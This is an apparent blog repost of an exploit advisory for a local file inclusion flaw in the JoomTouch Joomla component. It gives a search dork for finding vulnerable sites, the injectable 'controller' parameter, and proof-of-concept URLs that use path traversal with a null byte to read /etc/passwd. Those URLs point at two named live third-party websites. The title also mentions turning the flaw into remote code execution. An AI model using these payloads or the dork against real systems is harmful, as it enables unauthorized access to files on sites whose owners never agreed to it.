LFI to RCE via access_log injection

on
18

JoomTouch Joomla Component <= LFI Vuln

on
[o] JoomTouch Joomla Component <= Local File Inclusion Vulnerability

Software : com_joomtouch ver 1.0.2
Vendor : http://www.joomtouch.com/
Dork : "com_joomtouch"
Author : NoGe


[o] Exploit

http://localhost/[path]/index.php?option=com_joomtouch&controller=[LFI]


[o] PoC

http://torah5.com/index.php?option=com_joomtouch&controller=../../../../../../../../../../../../../../../../../../../etc/passwd%00
http://www.shivamtranscon.com/index.php?option=com_joomtouch&controller=../../../../../../../../../../../../../../../../../../../etc/passwd%00



DIRGAHAYU INDONESIAKU... MERDEKA!!!

Comments

Unknown said…
Thanks for such a wonderful information I am looking forward to read your informative post.
pass turnitin
February 21, 2013 at 7:45 AM
Post a Comment